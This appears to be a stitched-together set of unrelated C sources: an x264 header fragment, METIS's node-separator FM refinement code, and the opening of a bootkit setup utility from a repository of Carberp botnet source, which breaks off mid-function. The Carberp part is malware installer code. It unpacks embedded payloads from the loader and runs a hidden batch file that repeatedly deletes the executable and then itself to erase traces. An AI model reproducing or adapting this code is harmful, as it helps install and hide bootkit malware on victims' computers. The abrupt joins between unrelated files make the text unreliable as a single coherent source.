x264_intra_predict_plane_16x16_msa x264_template(intra_predict_plane_16x16_msa) void x264_intra_predict_plane_16x16_msa( uint8_t *p_src ); #define x264_intra_predict_dc_4blk_8x8_msa x264_template(intra_predict_dc_4blk_8x8_msa) void x264_intra_predict_dc_4blk_8x8_msa( uint8_t *p_src ); #define x264_intra_predict_hor_8x8_msa x264_template(intra_predict_hor_8x8_msa) void x264_intra_predict_hor_8x8_msa( uint8_t *p_src ); #define x264_intra_predict_vert_8x8_msa x264_template(intra_predict_vert_8x8_msa) void x264_intra_predict_vert_8x8_msa( uint8_t *p_src ); #define x264_intra_predict_plane_8x8_msa x264_template(intra_predict_plane_8x8_msa) void x264_intra_predict_plane_8x8_msa( uint8_t *p_src ); #define x264_intra_predict_ddl_8x8_msa x264_template(intra_predict_ddl_8x8_msa) void x264_intra_predict_ddl_8x8_msa( uint8_t *p_src, uint8_t pu_xyz[36] ); #define x264_intra_predict_dc_8x8_msa x264_template(intra_predict_dc_8x8_msa) void x264_intra_predict_dc_8x8_msa( uint8_t *p_src, uint8_t pu_xyz[36] ); #define x264_intra_predict_h_8x8_msa x264_template(intra_predict_h_8x8_msa) void x264_intra_predict_h_8x8_msa( uint8_t *p_src, uint8_t pu_xyz[36] ); #define x264_intra_predict_v_8x8_msa x264_template(intra_predict_v_8x8_msa) void x264_intra_predict_v_8x8_msa( uint8_t *p_src, uint8_t pu_xyz[36] ); #define x264_intra_predict_dc_4x4_msa x264_template(intra_predict_dc_4x4_msa) void x264_intra_predict_dc_4x4_msa( uint8_t *p_src ); #define x264_intra_predict_hor_4x4_msa x264_template(intra_predict_hor_4x4_msa) void x264_intra_predict_hor_4x4_msa( uint8_t *p_src ); #define x264_intra_predict_vert_4x4_msa x264_template(intra_predict_vert_4x4_msa) void x264_intra_predict_vert_4x4_msa( uint8_t *p_src ); #endif
337fbefc02db1a063e70b0cca906ffe46423f7e2
d1848063d0415a036d7bb74fc0eb8b1b5c540408
/libmetis/sfm.c
366cf012318a0197776c555a5ca11ac8d3d308c3
[ "Apache-2.0" ]
permissive
KarypisLab/METIS
ad5c91227276f3ead2bc6e7a6a9bb05cdc2dcbeb
e0f1b88b8efcb24ffa0ec55eabb78fbe61e58ae7
refs/heads/master
2023-08-17T05:16:08.259931
2023-04-03T02:31:24
2023-04-03T02:31:24
244,272,837
431
98
NOASSERTION
2023-08-25T15:17:44
2020-03-02T03:37:17
C
UTF-8
C
false
false
20,036
c
sfm.c
/* * Copyright 1997, Regents of the University of Minnesota * * sfm.c * * This file contains code that implements an FM-based separator refinement * * Started 8/1/97 * George * * $Id: sfm.c 10874 2011-10-17 23:13:00Z karypis $ * */ #include "metislib.h" /*************************************************************************/ /*! This function performs a node-based FM refinement */ /**************************************************************************/ void FM_2WayNodeRefine2Sided(ctrl_t *ctrl, graph_t *graph, idx_t niter) { idx_t i, ii, j, k, jj, kk, nvtxs, nbnd, nswaps, nmind; idx_t *xadj, *vwgt, *adjncy, *where, *pwgts, *edegrees, *bndind, *bndptr; idx_t *mptr, *mind, *moved, *swaps; rpq_t *queues[2]; nrinfo_t *rinfo; idx_t higain, oldgain, mincut, initcut, mincutorder; idx_t pass, to, other, limit; idx_t badmaxpwgt, mindiff, newdiff; idx_t u[2], g[2]; real_t mult; WCOREPUSH; nvtxs = graph->nvtxs; xadj = graph->xadj; adjncy = graph->adjncy; vwgt = graph->vwgt; bndind = graph->bndind; bndptr = graph->bndptr; where = graph->where; pwgts = graph->pwgts; rinfo = graph->nrinfo; queues[0] = rpqCreate(nvtxs); queues[1] = rpqCreate(nvtxs); moved = iwspacemalloc(ctrl, nvtxs); swaps = iwspacemalloc(ctrl, nvtxs); mptr = iwspacemalloc(ctrl, nvtxs+1); mind = iwspacemalloc(ctrl, 2*nvtxs); mult = 0.5*ctrl->ubfactors[0]; badmaxpwgt = (idx_t)(mult*(pwgts[0]+pwgts[1]+pwgts[2])); IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("Partitions-N2: [%6"PRIDX" %6"PRIDX"] Nv-Nb[%6"PRIDX" %6"PRIDX"]. ISep: %6"PRIDX"\n", pwgts[0], pwgts[1], graph->nvtxs, graph->nbnd, graph->mincut)); for (pass=0; pass<niter; pass++) { iset(nvtxs, -1, moved); rpqReset(queues[0]); rpqReset(queues[1]); mincutorder = -1; initcut = mincut = graph->mincut; nbnd = graph->nbnd; /* use the swaps array in place of the traditional perm array to save memory */ irandArrayPermute(nbnd, swaps, nbnd, 1); for (ii=0; ii<nbnd; ii++) { i = bndind[swaps[ii]]; ASSERT(where[i] == 2); rpqInsert(queues[0], i, vwgt[i]-rinfo[i].edegrees[1]); rpqInsert(queues[1], i, vwgt[i]-rinfo[i].edegrees[0]); } ASSERT(CheckNodeBnd(graph, nbnd)); ASSERT(CheckNodePartitionParams(graph)); limit = (ctrl->compress ? gk_min(5*nbnd, 400) : gk_min(2*nbnd, 300)); /****************************************************** * Get into the FM loop *******************************************************/ mptr[0] = nmind = 0; mindiff = iabs(pwgts[0]-pwgts[1]); to = (pwgts[0] < pwgts[1] ? 0 : 1); for (nswaps=0; nswaps<nvtxs; nswaps++) { u[0] = rpqSeeTopVal(queues[0]); u[1] = rpqSeeTopVal(queues[1]); if (u[0] != -1 && u[1] != -1) { g[0] = vwgt[u[0]]-rinfo[u[0]].edegrees[1]; g[1] = vwgt[u[1]]-rinfo[u[1]].edegrees[0]; to = (g[0] > g[1] ? 0 : (g[0] < g[1] ? 1 : pass%2)); if (pwgts[to]+vwgt[u[to]] > badmaxpwgt) to = (to+1)%2; } else if (u[0] == -1 && u[1] == -1) { break; } else if (u[0] != -1 && pwgts[0]+vwgt[u[0]] <= badmaxpwgt) { to = 0; } else if (u[1] != -1 && pwgts[1]+vwgt[u[1]] <= badmaxpwgt) { to = 1; } else break; other = (to+1)%2; higain = rpqGetTop(queues[to]); if (moved[higain] == -1) /* Delete if it was in the separator originally */ rpqDelete(queues[other], higain); ASSERT(bndptr[higain] != -1); /* The following check is to ensure we break out if there is a possibility of over-running the mind array. */ if (nmind + xadj[higain+1]-xadj[higain] >= 2*nvtxs-1) break; pwgts[2] -= (vwgt[higain]-rinfo[higain].edegrees[other]); newdiff = iabs(pwgts[to]+vwgt[higain] - (pwgts[other]-rinfo[higain].edegrees[other])); if (pwgts[2] < mincut || (pwgts[2] == mincut && newdiff < mindiff)) { mincut = pwgts[2]; mincutorder = nswaps; mindiff = newdiff; } else { if (nswaps - mincutorder > 2*limit || (nswaps - mincutorder > limit && pwgts[2] > 1.10*mincut)) { pwgts[2] += (vwgt[higain]-rinfo[higain].edegrees[other]); break; /* No further improvement, break out */ } } BNDDelete(nbnd, bndind, bndptr, higain); pwgts[to] += vwgt[higain]; where[higain] = to; moved[higain] = nswaps; swaps[nswaps] = higain; /********************************************************** * Update the degrees of the affected nodes ***********************************************************/ for (j=xadj[higain]; j<xadj[higain+1]; j++) { k = adjncy[j]; if (where[k] == 2) { /* For the in-separator vertices modify their edegree[to] */ oldgain = vwgt[k]-rinfo[k].edegrees[to]; rinfo[k].edegrees[to] += vwgt[higain]; if (moved[k] == -1 || moved[k] == -(2+other)) rpqUpdate(queues[other], k, oldgain-vwgt[higain]); } else if (where[k] == other) { /* This vertex is pulled into the separator */ ASSERTP(bndptr[k] == -1, ("%"PRIDX" %"PRIDX" %"PRIDX"\n", k, bndptr[k], where[k])); BNDInsert(nbnd, bndind, bndptr, k); mind[nmind++] = k; /* Keep track for rollback */ where[k] = 2; pwgts[other] -= vwgt[k]; edegrees = rinfo[k].edegrees; edegrees[0] = edegrees[1] = 0; for (jj=xadj[k]; jj<xadj[k+1]; jj++) { kk = adjncy[jj]; if (where[kk] != 2) edegrees[where[kk]] += vwgt[kk]; else { oldgain = vwgt[kk]-rinfo[kk].edegrees[other]; rinfo[kk].edegrees[other] -= vwgt[k]; if (moved[kk] == -1 || moved[kk] == -(2+to)) rpqUpdate(queues[to], kk, oldgain+vwgt[k]); } } /* Insert the new vertex into the priority queue. Only one side! */ if (moved[k] == -1) { rpqInsert(queues[to], k, vwgt[k]-edegrees[other]); moved[k] = -(2+to); } } } mptr[nswaps+1] = nmind; IFSET(ctrl->dbglvl, METIS_DBG_MOVEINFO, printf("Moved %6"PRIDX" to %3"PRIDX", Gain: %5"PRIDX" [%5"PRIDX"] [%4"PRIDX" %4"PRIDX"] \t[%5"PRIDX" %5"PRIDX" %5"PRIDX"]\n", higain, to, g[to], g[other], vwgt[u[to]], vwgt[u[other]], pwgts[0], pwgts[1], pwgts[2])); } /**************************************************************** * Roll back computation *****************************************************************/ for (nswaps--; nswaps>mincutorder; nswaps--) { higain = swaps[nswaps]; ASSERT(CheckNodePartitionParams(graph)); to = where[higain]; other = (to+1)%2; INC_DEC(pwgts[2], pwgts[to], vwgt[higain]); where[higain] = 2; BNDInsert(nbnd, bndind, bndptr, higain); edegrees = rinfo[higain].edegrees; edegrees[0] = edegrees[1] = 0; for (j=xadj[higain]; j<xadj[higain+1]; j++) { k = adjncy[j]; if (where[k] == 2) rinfo[k].edegrees[to] -= vwgt[higain]; else edegrees[where[k]] += vwgt[k]; } /* Push nodes out of the separator */ for (j=mptr[nswaps]; j<mptr[nswaps+1]; j++) { k = mind[j]; ASSERT(where[k] == 2); where[k] = other; INC_DEC(pwgts[other], pwgts[2], vwgt[k]); BNDDelete(nbnd, bndind, bndptr, k); for (jj=xadj[k]; jj<xadj[k+1]; jj++) { kk = adjncy[jj]; if (where[kk] == 2) rinfo[kk].edegrees[other] += vwgt[k]; } } } ASSERT(mincut == pwgts[2]); IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("\tMinimum sep: %6"PRIDX" at %5"PRIDX", PWGTS: [%6"PRIDX" %6"PRIDX"], NBND: %6"PRIDX"\n", mincut, mincutorder, pwgts[0], pwgts[1], nbnd)); graph->mincut = mincut; graph->nbnd = nbnd; if (mincutorder == -1 || mincut >= initcut) break; } rpqDestroy(queues[0]); rpqDestroy(queues[1]); WCOREPOP; } /*************************************************************************/ /*! This function performs a node-based FM refinement. Each refinement iteration is split into two sub-iterations. In each sub-iteration only moves to one of the left/right partitions is allowed; hence, it is one-sided. */ /**************************************************************************/ void FM_2WayNodeRefine1Sided(ctrl_t *ctrl, graph_t *graph, idx_t niter) { idx_t i, ii, j, k, jj, kk, nvtxs, nbnd, nswaps, nmind, iend; idx_t *xadj, *vwgt, *adjncy, *where, *pwgts, *edegrees, *bndind, *bndptr; idx_t *mptr, *mind, *swaps; rpq_t *queue; nrinfo_t *rinfo; idx_t higain, mincut, initcut, mincutorder; idx_t pass, to, other, limit; idx_t badmaxpwgt, mindiff, newdiff; real_t mult; WCOREPUSH; nvtxs = graph->nvtxs; xadj = graph->xadj; adjncy = graph->adjncy; vwgt = graph->vwgt; bndind = graph->bndind; bndptr = graph->bndptr; where = graph->where; pwgts = graph->pwgts; rinfo = graph->nrinfo; queue = rpqCreate(nvtxs); swaps = iwspacemalloc(ctrl, nvtxs); mptr = iwspacemalloc(ctrl, nvtxs+1); mind = iwspacemalloc(ctrl, 2*nvtxs); mult = 0.5*ctrl->ubfactors[0]; badmaxpwgt = (idx_t)(mult*(pwgts[0]+pwgts[1]+pwgts[2])); IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("Partitions-N1: [%6"PRIDX" %6"PRIDX"] Nv-Nb[%6"PRIDX" %6"PRIDX"]. ISep: %6"PRIDX"\n", pwgts[0], pwgts[1], graph->nvtxs, graph->nbnd, graph->mincut)); to = (pwgts[0] < pwgts[1] ? 1 : 0); for (pass=0; pass<2*niter; pass++) { /* the 2*niter is for the two sides */ other = to; to = (to+1)%2; rpqReset(queue); mincutorder = -1; initcut = mincut = graph->mincut; nbnd = graph->nbnd; /* use the swaps array in place of the traditional perm array to save memory */ irandArrayPermute(nbnd, swaps, nbnd, 1); for (ii=0; ii<nbnd; ii++) { i = bndind[swaps[ii]]; ASSERT(where[i] == 2); rpqInsert(queue, i, vwgt[i]-rinfo[i].edegrees[other]); } ASSERT(CheckNodeBnd(graph, nbnd)); ASSERT(CheckNodePartitionParams(graph)); limit = (ctrl->compress ? gk_min(5*nbnd, 500) : gk_min(3*nbnd, 300)); /****************************************************** * Get into the FM loop *******************************************************/ IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_startcputimer(ctrl->Aux3Tmr)); mptr[0] = nmind = 0; mindiff = iabs(pwgts[0]-pwgts[1]); for (nswaps=0; nswaps<nvtxs; nswaps++) { if ((higain = rpqGetTop(queue)) == -1) break; ASSERT(bndptr[higain] != -1); /* The following check is to ensure we break out if there is a possibility of over-running the mind array. */ if (nmind + xadj[higain+1]-xadj[higain] >= 2*nvtxs-1) break; if (pwgts[to]+vwgt[higain] > badmaxpwgt) break; /* No point going any further. Balance will be bad */ pwgts[2] -= (vwgt[higain]-rinfo[higain].edegrees[other]); newdiff = iabs(pwgts[to]+vwgt[higain] - (pwgts[other]-rinfo[higain].edegrees[other])); if (pwgts[2] < mincut || (pwgts[2] == mincut && newdiff < mindiff)) { mincut = pwgts[2]; mincutorder = nswaps; mindiff = newdiff; } else { if (nswaps - mincutorder > 3*limit || (nswaps - mincutorder > limit && pwgts[2] > 1.10*mincut)) { pwgts[2] += (vwgt[higain]-rinfo[higain].edegrees[other]); break; /* No further improvement, break out */ } } BNDDelete(nbnd, bndind, bndptr, higain); pwgts[to] += vwgt[higain]; where[higain] = to; swaps[nswaps] = higain; /********************************************************** * Update the degrees of the affected nodes ***********************************************************/ IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_startcputimer(ctrl->Aux1Tmr)); for (j=xadj[higain]; j<xadj[higain+1]; j++) { k = adjncy[j]; if (where[k] == 2) { /* For the in-separator vertices modify their edegree[to] */ rinfo[k].edegrees[to] += vwgt[higain]; } else if (where[k] == other) { /* This vertex is pulled into the separator */ ASSERTP(bndptr[k] == -1, ("%"PRIDX" %"PRIDX" %"PRIDX"\n", k, bndptr[k], where[k])); BNDInsert(nbnd, bndind, bndptr, k); mind[nmind++] = k; /* Keep track for rollback */ where[k] = 2; pwgts[other] -= vwgt[k]; edegrees = rinfo[k].edegrees; edegrees[0] = edegrees[1] = 0; for (jj=xadj[k], iend=xadj[k+1]; jj<iend; jj++) { kk = adjncy[jj]; if (where[kk] != 2) edegrees[where[kk]] += vwgt[kk]; else { rinfo[kk].edegrees[other] -= vwgt[k]; /* Since the moves are one-sided this vertex has not been moved yet */ rpqUpdate(queue, kk, vwgt[kk]-rinfo[kk].edegrees[other]); } } /* Insert the new vertex into the priority queue. Safe due to one-sided moves */ rpqInsert(queue, k, vwgt[k]-edegrees[other]); } } mptr[nswaps+1] = nmind; IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_stopcputimer(ctrl->Aux1Tmr)); IFSET(ctrl->dbglvl, METIS_DBG_MOVEINFO, printf("Moved %6"PRIDX" to %3"PRIDX", Gain: %5"PRIDX" [%5"PRIDX"] \t[%5"PRIDX" %5"PRIDX" %5"PRIDX"] [%3"PRIDX" %2"PRIDX"]\n", higain, to, (vwgt[higain]-rinfo[higain].edegrees[other]), vwgt[higain], pwgts[0], pwgts[1], pwgts[2], nswaps, limit)); } IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_stopcputimer(ctrl->Aux3Tmr)); /**************************************************************** * Roll back computation *****************************************************************/ IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_startcputimer(ctrl->Aux2Tmr)); for (nswaps--; nswaps>mincutorder; nswaps--) { higain = swaps[nswaps]; ASSERT(CheckNodePartitionParams(graph)); ASSERT(where[higain] == to); INC_DEC(pwgts[2], pwgts[to], vwgt[higain]); where[higain] = 2; BNDInsert(nbnd, bndind, bndptr, higain); edegrees = rinfo[higain].edegrees; edegrees[0] = edegrees[1] = 0; for (j=xadj[higain]; j<xadj[higain+1]; j++) { k = adjncy[j]; if (where[k] == 2) rinfo[k].edegrees[to] -= vwgt[higain]; else edegrees[where[k]] += vwgt[k]; } /* Push nodes out of the separator */ for (j=mptr[nswaps]; j<mptr[nswaps+1]; j++) { k = mind[j]; ASSERT(where[k] == 2); where[k] = other; INC_DEC(pwgts[other], pwgts[2], vwgt[k]); BNDDelete(nbnd, bndind, bndptr, k); for (jj=xadj[k], iend=xadj[k+1]; jj<iend; jj++) { kk = adjncy[jj]; if (where[kk] == 2) rinfo[kk].edegrees[other] += vwgt[k]; } } } IFSET(ctrl->dbglvl, METIS_DBG_TIME, gk_stopcputimer(ctrl->Aux2Tmr)); ASSERT(mincut == pwgts[2]); IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("\tMinimum sep: %6"PRIDX" at %5"PRIDX", PWGTS: [%6"PRIDX" %6"PRIDX"], NBND: %6"PRIDX"\n", mincut, mincutorder, pwgts[0], pwgts[1], nbnd)); graph->mincut = mincut; graph->nbnd = nbnd; if (pass%2 == 1 && (mincutorder == -1 || mincut >= initcut)) break; } rpqDestroy(queue); WCOREPOP; } /*************************************************************************/ /*! This function balances the left/right partitions of a separator tri-section */ /*************************************************************************/ void FM_2WayNodeBalance(ctrl_t *ctrl, graph_t *graph) { idx_t i, ii, j, k, jj, kk, nvtxs, nbnd, nswaps, gain; idx_t badmaxpwgt, higain, oldgain, pass, to, other; idx_t *xadj, *vwgt, *adjncy, *where, *pwgts, *edegrees, *bndind, *bndptr; idx_t *perm, *moved; rpq_t *queue; nrinfo_t *rinfo; real_t mult; nvtxs = graph->nvtxs; xadj = graph->xadj; adjncy = graph->adjncy; vwgt = graph->vwgt; bndind = graph->bndind; bndptr = graph->bndptr; where = graph->where; pwgts = graph->pwgts; rinfo = graph->nrinfo; mult = 0.5*ctrl->ubfactors[0]; badmaxpwgt = (idx_t)(mult*(pwgts[0]+pwgts[1])); if (gk_max(pwgts[0], pwgts[1]) < badmaxpwgt) return; if (iabs(pwgts[0]-pwgts[1]) < 3*graph->tvwgt[0]/nvtxs) return; WCOREPUSH; to = (pwgts[0] < pwgts[1] ? 0 : 1); other = (to+1)%2; queue = rpqCreate(nvtxs); perm = iwspacemalloc(ctrl, nvtxs); moved = iset(nvtxs, -1, iwspacemalloc(ctrl, nvtxs)); IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("Partitions: [%6"PRIDX" %6"PRIDX"] Nv-Nb[%6"PRIDX" %6"PRIDX"]. ISep: %6"PRIDX" [B]\n", pwgts[0], pwgts[1], graph->nvtxs, graph->nbnd, graph->mincut)); nbnd = graph->nbnd; irandArrayPermute(nbnd, perm, nbnd, 1); for (ii=0; ii<nbnd; ii++) { i = bndind[perm[ii]]; ASSERT(where[i] == 2); rpqInsert(queue, i, vwgt[i]-rinfo[i].edegrees[other]); } ASSERT(CheckNodeBnd(graph, nbnd)); ASSERT(CheckNodePartitionParams(graph)); /****************************************************** * Get into the FM loop *******************************************************/ for (nswaps=0; nswaps<nvtxs; nswaps++) { if ((higain = rpqGetTop(queue)) == -1) break; moved[higain] = 1; gain = vwgt[higain]-rinfo[higain].edegrees[other]; badmaxpwgt = (idx_t)(mult*(pwgts[0]+pwgts[1])); /* break if other is now underwight */ if (pwgts[to] > pwgts[other]) break; /* break if balance is achieved and no +ve or zero gain */ if (gain < 0 && pwgts[other] < badmaxpwgt) break; /* skip this vertex if it will violate balance on the other side */ if (pwgts[to]+vwgt[higain] > badmaxpwgt) continue; ASSERT(bndptr[higain] != -1); pwgts[2] -= gain; BNDDelete(nbnd, bndind, bndptr, higain); pwgts[to] += vwgt[higain]; where[higain] = to; IFSET(ctrl->dbglvl, METIS_DBG_MOVEINFO, printf("Moved %6"PRIDX" to %3"PRIDX", Gain: %3"PRIDX", \t[%5"PRIDX" %5"PRIDX" %5"PRIDX"]\n", higain, to, vwgt[higain]-rinfo[higain].edegrees[other], pwgts[0], pwgts[1], pwgts[2])); /********************************************************** * Update the degrees of the affected nodes ***********************************************************/ for (j=xadj[higain]; j<xadj[higain+1]; j++) { k = adjncy[j]; if (where[k] == 2) { /* For the in-separator vertices modify their edegree[to] */ rinfo[k].edegrees[to] += vwgt[higain]; } else if (where[k] == other) { /* This vertex is pulled into the separator */ ASSERTP(bndptr[k] == -1, ("%"PRIDX" %"PRIDX" %"PRIDX"\n", k, bndptr[k], where[k])); BNDInsert(nbnd, bndind, bndptr, k); where[k] = 2; pwgts[other] -= vwgt[k]; edegrees = rinfo[k].edegrees; edegrees[0] = edegrees[1] = 0; for (jj=xadj[k]; jj<xadj[k+1]; jj++) { kk = adjncy[jj]; if (where[kk] != 2) edegrees[where[kk]] += vwgt[kk]; else { ASSERT(bndptr[kk] != -1); oldgain = vwgt[kk]-rinfo[kk].edegrees[other]; rinfo[kk].edegrees[other] -= vwgt[k]; if (moved[kk] == -1) rpqUpdate(queue, kk, oldgain+vwgt[k]); } } /* Insert the new vertex into the priority queue */ rpqInsert(queue, k, vwgt[k]-edegrees[other]); } } } IFSET(ctrl->dbglvl, METIS_DBG_REFINE, printf("\tBalanced sep: %6"PRIDX" at %4"PRIDX", PWGTS: [%6"PRIDX" %6"PRIDX"], NBND: %6"PRIDX"\n", pwgts[2], nswaps, pwgts[0], pwgts[1], nbnd)); graph->mincut = pwgts[2]; graph->nbnd = nbnd; rpqDestroy(queue); WCOREPOP; }
3d8809f27f4d2906b1d106f2adb78ea051578acc
8380b5eb12e24692e97480bfa8939a199d067bce
/Carberp Botnet/source - absource/pro/all source/bootkit.old/BkSetup/bksetup.c
98028344cefb36abd42410136593fd3160a9d692
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
RamadhanAmizudin/malware
788ee745b5bb23b980005c2af08f6cb8763981c2
62d0035db6bc9aa279b7c60250d439825ae65e41
refs/heads/master
2023-02-05T13:37:18.909646
2023-01-26T08:43:18
2023-01-26T08:43:18
53,407,812
873
291
null
2023-01-26T08:43:19
2016-03-08T11:44:21
C++
UTF-8
C
false
false
15,144
c
bksetup.c
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // BK driver loader project. Version 2. // // module: bksetup.c // description: // Silent BK setup utility. #include <Shlwapi.h> #include "..\bkgen\main.h" #include "..\bklib\bklib.h" #include "..\bklib\pesup.h" #include "joiner.h" #include "depack.h" #define DOS_NAME_LEN 8+1+3+1 // 8.3 name size in chars with 0 #define tczOpen _T("open") #define tczRunas _T("runas") #define tczBkSlash _T("\\") #define tczBatFmt _T("%lu.bat") #define tczBatchFile _T("attrib -r -s -h%1\r\n:klabel\r\ndel %1\r\nif exist %1 goto klabel\r\ndel %0\r\n") #define szKernel32 "KERNEL32.DLL" #define GUID_STR_LEN 16*2+4+2 // length of the GUID string in chars #define tczGuidStrTempl _T("{%08X-%04X-%04X-%04X-%08X%04X}") #define tczProgramKey _T("Software\\Classes\\CLSID\\") typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); HANDLE g_AppHeap = 0; ULONG g_CurrentOsVersion = 0; ULONG g_CurrentProcessId = 0; PIMAGE_DOS_HEADER g_CurrentModuleBase = NULL; __declspec(dllimport) HRESULT CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit); //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Generates pseudo random number based on the specified seed value. // Since NtRandom on Vista returns process-specific results, we use this function to create inter-process common names. // ULONG MyRandom(PULONG pSeed) { return(*pSeed = 1664525*(*pSeed)+1013904223); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Generates a GUID based on the specified seed value. The same seeds will create the same GUIDs on the same machine. // VOID GenGuid(GUID* pGuid, PULONG pSeed) { ULONG i; pGuid->Data1 = MyRandom(pSeed); pGuid->Data2 = (USHORT)MyRandom(pSeed); pGuid->Data3 = (USHORT)MyRandom(pSeed); for (i=0; i<8; i++) pGuid->Data4[i] = (UCHAR)MyRandom(pSeed); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Converts the specified GUID structure into 0-terminated string. // LPTSTR GuidToString(GUID* pGuid) { LPTSTR GuidStr = (LPTSTR)vAlloc((GUID_STR_LEN+1)*sizeof(_TCHAR)); if (GuidStr) wsprintf(GuidStr, tczGuidStrTempl, pGuid->Data1, pGuid->Data2, pGuid->Data3, *(USHORT*)&pGuid->Data4[0], *(ULONG*)&pGuid->Data4[2], *(USHORT*)&pGuid->Data4[6]); return(GuidStr); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Generates a string containig the Prefix, random GUID based on spesified Seed, and the Postfix. // LPTSTR GuidName( IN OUT PULONG pSeed, // pointer to a random seed value IN LPTSTR Prefix OPTIONAL // pointer to a prefix string (optional) ) { ULONG NameLen = GUID_STR_LEN + 1; LPTSTR GuidStr, Name = NULL; GUID Guid; GenGuid(&Guid, pSeed); if (GuidStr = GuidToString(&Guid)) { if (Prefix) NameLen += lstrlen(Prefix); if (Name = (LPTSTR)vAlloc(NameLen*sizeof(_TCHAR))) { Name[0] = 0; if (Prefix) lstrcpy(Name, Prefix); lstrcat(Name, GuidStr); } vFree(GuidStr); } // if (GuidStr = return(Name); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Returns TRUE if the specified PID belongs to a WOW64 process. // BOOL IsWow64Process(ULONG Pid) { BOOL Ret = FALSE; LPFN_ISWOW64PROCESS fnIsWow64Process = NULL; fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandleA(szKernel32),"IsWow64Process"); if (fnIsWow64Process) { HANDLE hProcess; if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Pid)) { if (!fnIsWow64Process(hProcess, &Ret)) // An error occured: unable to get OS architecture type. Assume we are on x86 and process is not WOW64 process. Ret = FALSE; CloseHandle(hProcess); } } // if (fnIsWow64Process) return(Ret); } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Allocates a buffer and fills it with the full path of the executable file of the current process. // The caller is responsable for freeing the buffer. // If the function fails, the return value is NULL. To get extended error information, call GetLastError. // static LPTSTR GetCurrentProcessFilePath(VOID) { ULONG nSize = MAX_PATH; ULONG rSize = 0; LPTSTR FilePath = (LPTSTR)vAlloc(nSize*sizeof(_TCHAR)); while ((FilePath) && (rSize = GetModuleFileName(NULL, FilePath, nSize)) == nSize) { // Buffer is not large enough vFree(FilePath); nSize += MAX_PATH; FilePath = (LPTSTR)vAlloc(nSize*sizeof(_TCHAR)); } if ((FilePath) && (rSize == 0)) { // GetModuleFileName() returned an error vFree(FilePath); FilePath = NULL; } return(FilePath); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Creates the BAT file with the specified name and content and runs it with the specified parameters string. // #pragma warning (push) #pragma warning (disable: 4311) // 'type cast' : pointer truncation from 'HINSTANCE' to 'WINERROR' static WINERROR CreateAndStartBat( LPTSTR FilePath, // Name of the BAT file to create PCHAR Content, // Content of the BAT file LPTSTR ParamStr // Parameters string for the BAT file ) { WINERROR Status = NO_ERROR; HANDLE hFile; ULONG Written; hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if (hFile != INVALID_HANDLE_VALUE) { if (!WriteFile(hFile, Content,(ULONG)lstrlen(Content), &Written, NULL)) Status = GetLastError(); CloseHandle(hFile); if (Status == NO_ERROR) { HINSTANCE hInst = ShellExecute(0, tczOpen, FilePath, ParamStr, NULL, SW_HIDE); if (hInst < (HINSTANCE)32) Status = (WINERROR)hInst; } } else Status = GetLastError(); return(Status); } #pragma warning (pop) //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Creates a BAT file that attemts to delete this module in infinite loop. // Then this BAT file deletes itself. // static WINERROR DoSelfDelete(VOID) { WINERROR Status = ERROR_UNSUCCESSFULL; LPTSTR ThisFilePath = NULL; LPTSTR BatFilePath = NULL; LPTSTR BatFileParam = NULL; do { LPTSTR FileName; ULONG NameLen; if (!(ThisFilePath = GetCurrentProcessFilePath())) break; NameLen = (ULONG)lstrlen(ThisFilePath); // It's guaranteed that BAT file path string will fit into the BatFilePath buffer if (!(BatFilePath = (LPTSTR)vAlloc((NameLen + DOS_NAME_LEN)*sizeof(_TCHAR)))) break; if (!(BatFileParam = (LPTSTR)vAlloc((NameLen+3)*sizeof(_TCHAR)))) // 2 chars for "" and one for 0 break; lstrcpy(BatFilePath, ThisFilePath); FileName = strrchr(BatFilePath, _T('\\')); ASSERT(FileName); FileName += 1; wsprintf(FileName, tczBatFmt, GetTickCount()); wsprintf(BatFileParam, _T("\"%s\""), ThisFilePath); Status = CreateAndStartBat(BatFilePath, tczBatchFile, BatFileParam); }while (FALSE); if (Status == ERROR_UNSUCCESSFULL) Status = GetLastError(); if (ThisFilePath) vFree(ThisFilePath); if (BatFilePath) vFree(BatFilePath); if (BatFileParam) vFree(BatFileParam); return(Status); } BOOL GetJoinedData(PIMAGE_DOS_HEADER LoaderBase, PCHAR* pBuffer, PULONG pSize, BOOL Is64Bit) { BOOL Ret = FALSE; PIMAGE_NT_HEADERS Pe; PIMAGE_SECTION_HEADER Section; PADDON_DESCRIPTOR AdDesc; Pe = (PIMAGE_NT_HEADERS)((PCHAR)LoaderBase + LoaderBase->e_lfanew); Section = IMAGE_FIRST_SECTION(Pe); AdDesc = (PADDON_DESCRIPTOR)(Section + Pe->FileHeader.NumberOfSections + 1); while (AdDesc->Magic != 0 && AdDesc->Magic != ADDON_MAGIC) AdDesc += 1; while (AdDesc->Magic == ADDON_MAGIC) { if (((AdDesc->Flags & PE_FLAG_X64) && Is64Bit) || (!(AdDesc->Flags & PE_FLAG_X64) && !Is64Bit)) { PCHAR Unpacked; if (Unpacked = vAlloc(AdDesc->ImageSize)) { if (aP_depack((PCHAR)LoaderBase + AdDesc->ImageRva, Unpacked) == AdDesc->ImageSize) { *pBuffer = Unpacked; 